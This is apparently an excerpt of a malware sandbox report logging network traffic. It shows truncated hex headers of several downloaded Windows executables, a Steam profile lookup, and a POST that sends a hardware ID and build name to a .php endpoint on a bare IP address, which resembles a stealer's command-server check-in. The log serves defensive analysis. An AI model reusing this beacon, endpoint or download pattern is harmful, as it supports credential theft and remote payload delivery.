00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 30 Aug 2024 01:17:40 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "6dde8-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 30 Aug 2024 01:17:40 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "1f3950-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 30 Aug 2024 01:17:43 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 30 Aug 2024 01:17:44 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 30 Aug 2024 01:17:49 GMTContent-Type: application/octet-streamContent-Length: 196648Last-Modified: Thu, 29 Aug 2024 19:35:54 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66d0cd9a-30028"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 ee cc d0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 ce 02 00 00 0a 00 00 00 00 00 00 ae ed 02 00 00 20 00 00 00 00 03 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 03 00 00 02 00 00 4e 2c 03 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 ed 02 00 53 00 00 00 00 00 03 00 2e 06 00 00 00 00 00 00 00 00 00 00 00 da 02 00 28 26 00 00 00 20 03 00 0c 00 00 00 20 ec 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 b4 cd 02 00 00 20 00 00 00 ce 02 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 2e 06 00 00 00 00 03 00 00 08 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 20 03 00 00 02 00 00 00 d8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 ed 02 00 00 00 00 00 48 00 00 00 02 00 05 00 78 db 02 00 a8 10 00 00 03 00 02 00 0e 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 52 26 28 81 2c 58 16 1e 55 f4 66 8b 68 95 e3 26 5c f4 fa 06 3d 45 e8 fc c8 d8 f7 25 22 3d 6d 3f 2a 3c 16 1c bf 55 1d a6 48 66 c2 74 24 96 d1 9a c9 12 c7 13 55 21 ba 42 8b 23 9b 95 3a c7 10 64 b8 fc 45 91 96 0c 5c 17 8e 4a 31 be dc 39 09 0f ae e7 c1 19 df 4b e2 6c 58 d8 47 52 41 8a ec 36 7c 5e 8c 2e d7 6f 91 82 d0 a8 eb 40 c7 90 26 cb a6 ca 35 12 ce 94 8b 09 bd 0b cd c3 3a 95 e4 f9 01 69 20 bf 58 6d 9e 95 58 6a a6 97 ff 0d 5f 30 22 4c 8a 58 8f 45 4f 20 6a 05 83 25 af d4 b0 6d 6e 9a 45 63 54 25 d6 33 43 c8 29 29 cd fa 5e 06 3a a9 54 6e 37 c3 77 c9 0b 59 df c9 2e a7 60 5b 41 ca 74 79 e1 ba e9 0f 4e b5 a5 ed c7 bf 6a a3 18 b8 73 c2 7c 51 54 3f 86 39 c7 e7 27 fe 3a e4 9e 6c 93 24 c9 7b 26 56 dc e0 7d ad 39 98 03 6e 65 73 af c4 85 5b e7 d5 f2 3f fd 77 71 52 2f 5f 4a 55 81 38 bf 69 72 5f 52 a7 18 12 68 da f2 79 3c b3 3c 09 b9 40 2f 08 fa d3 cf ec 02 27 10 c0 e8 2d 55 a9 18 76 38 d5 46 b3 32 7a 11 c3 5
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 30 Aug 2024 01:17:50 GMTContent-Type: application/octet-streamContent-Length: 328744Last-Modified: Thu, 29 Aug 2024 19:35:43 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66d0cd8f-50428"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 19 cd d0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 d2 04 00 00 0a 00 00 00 00 00 00 ae f1 04 00 00 20 00 00 00 00 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 05 00 00 02 00 00 fe 11 05 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 f1 04 00 53 00 00 00 00 00 05 00 2e 06 00 00 00 00 00 00 00 00 00 00 00 de 04 00 28 26 00 00 00 20 05 00 0c 00 00 00 20 f0 04 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 b4 d1 04 00 00 20 00 00 00 d2 04 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 2e 06 00 00 00 00 05 00 00 08 00 00 00 d4 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 20 05 00 00 02 00 00 00 dc 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 f1 04 00 00 00 00 00 48 00 00 00 02 00 05 00 78 df 04 00 a8 10 00 00 03 00 02 00 0e 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 53 8a 02 61 81 e9 db 99 1d 0e 63 3f cc 36 14 88 55 d0 9b 43 4d 66 27 08 3c a8 73 14 6f 6f 98 a0 3c 43 da b5 71 92 77 4e bc 65 c8 ce 69 ed ef 13 65 34 2b 84 99 cd d1 9d 8e 01 83 ff ce 16 1f 52 c6 9c dd 31 62 72 85 b0 bb 49 55 55 3c 12 4e 02 ea 19 7c 63 b1 56 47 48 ed ee e1 24 89 26 7e ac 2b a5 e4 c7 83 90 3c 33 38 f5 a4 b3 7f 74 52 5d 42 8c 7a de 34 2d 6f 43 ed 7b a7 82 18 ee e0 1b 7b 39 96 ad e7 78 30 77 ea 95 49 37 ca 5f a9 3b 21 27 71 ac d8 55 8b a8 ca 3f 82 60 bb ee 2f de 2b 2c 50 cf 82 4d 8f e5 bc 09 8c f1 1b 38 94 b6 7d fb 33 6a ca 9c 24 ce 59 3d 32 c8 dd a7 a7 29 b1 57 d1 5d 0f 74 2a 5a f1 bc 3e d2 ff 67 32 01 69 2d cf ba b6 0c f2 e1 87 49 0b eb 95 5b eb 8d 77 0b 05 1c b9 9d 75 c3 e1 d5 03 c9 c5 07 c9 fa ce 68 a4 8e 61 c5 33 d0 51 2a c4 ec 0c 98 79 d5 05 b1 c8 e9 e9 0e 3d 63 32 b0 84 6e ab 08 ef a4 99 05 8b c8 51 d5 4a 3e f8 aa 03 3d ce 8d 66 bd 18 77 1b e3 45 2d 60 fa 80 01 ce 2f aa 06 f

Source: global traffic	HTTP traffic detected: GET /profiles/76561199761128941 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 46.8.231.109Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAEBAKKJKKEBKFIDBFBAHost: 46.8.231.109Content-Length: 214Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 45 42 41 4b 4b 4a 4b 4b 45 42 4b 46 49 44 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 33 42 30 31 42 33 39 30 31 32 32 32 38 33 38 34 32 30 38 31 30 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 42 41 4b 4b 4a 4b 4b 45 42 4b 46 49 44 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 42 41 4b 4b 4a 4b 4b 45 42 4b 46 49 44 42 46 42 41 2d 2d 0d 0a Data Ascii: ------AAEBAKKJKKEBKFIDBFBAContent-Disposition: form-data; name="hwid"53B01B3901222838420810------AAEBAKKJKKEBKFIDBFBAContent-Disposition: form-data; name="build"default------AAEBAKKJKKEBKFIDBFBA--
